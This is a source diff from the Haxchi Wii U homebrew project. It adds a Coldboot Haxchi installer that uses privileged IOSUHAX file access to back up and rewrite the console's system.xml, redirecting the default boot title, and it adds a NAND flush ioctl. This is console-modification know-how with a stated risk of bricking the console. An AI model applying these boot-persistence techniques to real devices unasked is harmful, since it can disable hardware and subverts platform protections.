xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0); + //verify title id + int idFound = 0, idCorrect = 0; + xmlNode *root_element = xmlDocGetRootElement(doc); + xmlNode *cur_node = NULL; + for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { + if (cur_node->type == XML_ELEMENT_NODE) { + if(memcmp(cur_node->name, "default_title_id", 17) == 0) + { + if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; + if(memcmp(new_title_id, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; + idFound++; + } + } + } + xmlFreeDoc(doc); + free(sysXmlBuf); + if(idFound != 1) + println(line++,"default_title_id missing!"); + else if(idCorrect != 1) + println(line++,"default_title_id not set to selected DS VC!"); + else + { + if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) >= 0) + { + //read in system xml file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); + size_t sysXmlSize = stats.size; + sysXmlBuf = malloc(sysXmlSize+1); + memset(sysXmlBuf, 0, sysXmlSize+1); + fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "syshax.xml", "utf-8", 0); + //verify title id + int idFound = 0, idCorrect = 0; + xmlNode *root_element = xmlDocGetRootElement(doc); + xmlNode *cur_node = NULL; + for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { + if (cur_node->type == XML_ELEMENT_NODE) { + if(memcmp(cur_node->name, "default_title_id", 17) == 0) + { + if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; + if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; + idFound++; + } + } + } + xmlFreeDoc(doc); + if(idFound != 1) + println(line++,"default_title_id missing!"); + else if(idCorrect != 1) + println(line++,"default_title_id not set to System Menu!"); + else + { + if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0) + { + println(line++,"Restoring system.xml..."); + fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize); + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + println(line++,"Removed coldboothax!"); + } + } + free(sysXmlBuf); + } + else + println(line++,"syshax.xml backup not found, aborting!"); + } + } + goto prgEnd; + } +#endif int ret = IOSUHAX_FSA_Mount(fsaFd, "/dev/sdcard01", sdCardVolPath, 2, (void*)0, 0); if(ret < 0) { @@ -380,9 +506,14 @@ int Menu_Main(void) } char sdHaxchiPath[256]; +#ifdef CB + sprintf(sdHaxchiPath,"%s/cbhc",sdCardVolPath); +#else sprintf(sdHaxchiPath,"%s/haxchi",sdCardVolPath); - +#endif char sdPath[256]; + +#ifndef CB sprintf(sdPath,"%s/config.txt",sdHaxchiPath); if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) { @@ -407,6 +538,7 @@ int Menu_Main(void) } free(cfgBuf); } +#endif sprintf(sdPath,"%s/title.txt",sdHaxchiPath); if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) @@ -449,11 +581,10 @@ int Menu_Main(void) xmlSaveNoEmptyTags = 1; //keeps original style xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); xmlFreeDoc(doc); - free(metaBuf); if(newXml != NULL && newSize > 0) { //libxml2 adds in extra \n at the end - if(newXml[newSize-1] == '\n') + if(newXml[newSize-1] == '\n' && metaBuf[metaSize-1] != '\n') { newXml[newSize-1] = '\0'; newSize--; @@ -464,7 +595,7 @@ int Menu_Main(void) println(line++,"Changing game title..."); //UTF-8 BOM char bom[3] = { 0xEF, 0xBB, 0xBF }; - if(memcmp(newXml, bom, 3) != 0) + if(memcmp(newXml, bom, 3) != 0 && memcmp(metaBuf, bom, 3) == 0) fsa_write(fsaFd, mlcFd, bom, 0x03); fsa_write(fsaFd, mlcFd, newXml, newSize); IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); @@ -472,6 +603,7 @@ int Menu_Main(void) } free(newXml); } + free(metaBuf); } free(titleBuf); } @@ -568,7 +700,123 @@ int Menu_Main(void) free(bootSound); } +#ifdef CB + if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0) + { + //read in system xml file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); + size_t sysXmlSize = stats.size; + char *sysXmlBuf = malloc(sysXmlSize+1); + memset(sysXmlBuf, 0, sysXmlSize+1); + fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0); + //change default title id + int idFound = 0, idCorrect = 0; + xmlNode *root_element = xmlDocGetRootElement(doc); + xmlNode *cur_node = NULL; + for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { + if (cur_node->type == XML_ELEMENT_NODE) { + if(memcmp(cur_node->name, "default_title_id", 17) == 0) + { + if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; + if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; + idFound++; + } + } + } + if(idFound != 1) + println(line++,"default_title_id missing!"); + else if(idCorrect != 1) + println(line++,"default_title_id not set to System Menu!"); + else + { + int xmlBackedUp = 0; + if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) < 0) + { + //write syshax.xml + if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "wb", &slcFd) >= 0) + { + println(line++,"Writing syshax.xml..."); + fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize); + xmlBackedUp = 1; + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + } + } + else + { + println(line++,"syshax.xml already found, skipping..."); + xmlBackedUp = 1; + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + } + if(xmlBackedUp == 0) + println(line++,"Failed to back up system.xml!"); + else + { + idFound = 0, idCorrect = 0; + root_element = xmlDocGetRootElement(doc); + cur_node = NULL; + for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { + if (cur_node->type == XML_ELEMENT_NODE) { + if(memcmp(cur_node->name, "default_title_id", 17) == 0) + { + if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; + if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) + { + xmlNodeSetContent(cur_node, (xmlChar*)new_title_id); + idCorrect++; + } + idFound++; + } + } + } + if(idFound != 1) + println(line++,"default_title_id missing!"); + else if(idCorrect != 1) + println(line++,"default_title_id not set to System Menu!"); + else + { + //back to xml + xmlChar *newXml = NULL; + int newSize = 0; + xmlSaveNoEmptyTags = 0; //yep, different from meta.xml style + xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); + xmlFreeDoc(doc); + if(newXml != NULL && newSize > 0) + { + //libxml2 adds in extra \n at the end + if(newXml[newSize-1] == '\n' && sysXmlBuf[sysXmlSize-1] != '\n') + { + newXml[newSize-1] = '\0'; + newSize--; + } + //write back to nand + if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0) + { + println(line++,"Writing system.xml..."); + //UTF-8 BOM + char bom[3] = { 0xEF, 0xBB, 0xBF }; + if(memcmp(newXml, bom, 3) != 0 && memcmp(sysXmlBuf, bom, 3) == 0) + fsa_write(fsaFd, slcFd, bom, 0x03); + fsa_write(fsaFd, slcFd, newXml, newSize); + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + } + free(newXml); + } + } + } + } + free(sysXmlBuf); + } + println(line++,"Done installing CBHC!"); +#else println(line++,"Done installing Haxchi!"); +#endif prgEnd: if(tList) @@ -578,12 +826,16 @@ prgEnd: //close down everything fsa related if(fsaFd >= 0) { + if(slcFd >= 0) + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); if(mlcFd >= 0) IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); if(sdFd >= 0) IOSUHAX_FSA_CloseFile(fsaFd, sdFd); if(sdMounted) IOSUHAX_FSA_Unmount(fsaFd, sdCardVolPath, 2); + if(IOSUHAX_FSA_FlushVolume(fsaFd, "/vol/storage_mlc01") == 0) + println(line++, "Flushed NAND Cache!"); IOSUHAX_FSA_Close(fsaFd); } //close out old mcp instance diff --git a/installer/wupserver/source/fsa.c b/installer/wupserver/source/fsa.c index c7b4009..40f0d7d 100644 --- a/installer/wupserver/source/fsa.c +++ b/installer/wupserver/source/fsa.c @@ -61,6 +61,20 @@ int FSA_Unmount(int fd, char* path, u32 flags) return ret; } +int FSA_FlushVolume(int fd, char* volume_path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], volume_path, 0x27F); + + int ret = svcIoctl(fd, 0x1B, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + int FSA_MakeDir(int fd, char* path, u32 flags) { u8* iobuf = allocIobuf(); diff --git a/installer/wupserver/source/fsa.h b/installer/wupserver/source/fsa.h index 914e3d7..88366bf 100644 --- a/installer/wupserver/source/fsa.h +++ b/installer/wupserver/source/fsa.h @@ -31,6 +31,7 @@ int FSA_Open(); int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); int FSA_Unmount(int fd, char* path, u32 flags); +int FSA_FlushVolume(int fd, char* volume_path); int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); diff --git a/installer/wupserver/source/ipc.c b/installer/wupserver/source/ipc.c index 9dd7c8d..bcdab38 100644 --- a/installer/wupserver/source/ipc.c +++ b/installer/wupserver/source/ipc.c @@ -70,6 +70,7 @@ #define IOCTL_FSA_RAW_WRITE 0x56 #define IOCTL_FSA_RAW_CLOSE 0x57 #define IOCTL_FSA_CHANGEMODE 0x58 +#define IOCTL_FSA_FLUSHVOLUME 0x59 //static u8 threadStack[0x1000] __attribute__((aligned(0x20))); @@ -228,6 +229,14 @@ static int ipc_ioctl(ipcmessage *message) message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); break; } + case IOCTL_FSA_FLUSHVOLUME: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path); + break; + } case IOCTL_FSA_GETDEVICEINFO: { int fd = message->ioctl.buffer_in[0]; diff --git a/release/cbhc/bootDrcTex.tga b/release/cbhc/bootDrcTex.tga new file mode 100644 index 0000000..e165f2e Binary files /dev/null and b/release/cbhc/bootDrcTex.tga differ diff --git a/release/cbhc/bootTvTex.tga b/release/cbhc/bootTvTex.tga new file mode 100644 index 0000000..510792b Binary files /dev/null and b/release/cbhc/bootTvTex.tga differ diff --git a/release/cbhc/iconTex.tga b/release/cbhc/iconTex.tga new file mode 100644 index 0000000..9c3b47a Binary files /dev/null and b/release/cbhc/iconTex.tga differ diff --git a/release/cbhc/title.txt b/release/cbhc/title.txt new file mode 100644 index 0000000..0ef7938 --- /dev/null +++ b/release/cbhc/title.txt @@ -0,0 +1 @@ +CBHC \ No newline at end of file diff --git a/release/wiiu/apps/cbhc/icon.png b/release/wiiu/apps/cbhc/icon.png new file mode 100644 index 0000000..7aeda93 Binary files /dev/null and b/release/wiiu/apps/cbhc/icon.png differ diff --git a/release/wiiu/apps/cbhc/meta.xml b/release/wiiu/apps/cbhc/meta.xml new file mode 100644 index 0000000..e23491a --- /dev/null +++ b/release/wiiu/apps/cbhc/meta.xml @@ -0,0 +1,12 @@ + + + CBHC + FIX94 + 1.0 + https://github.com/FIX94/haxchi + 20161210200000 + Coldboot Haxchi Installer + WARNING! This will install Coldboot Haxchi on your system. + ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE. + + \ No newline at end of file diff --git a/release/wiiu/apps/haxchi/meta.xml b/release/wiiu/apps/haxchi/meta.xml index 161fa47..92b7c31 100644 --- a/release/wiiu/apps/haxchi/meta.xml +++ b/release/wiiu/apps/haxchi/meta.xml @@ -2,9 +2,9 @@ Haxchi FIX94 - 2.2u1 + 2.3 https://github.com/FIX94/haxchi - 20161201200000 + 20161210200000 Haxchi Installer This will install Haxchi on your system.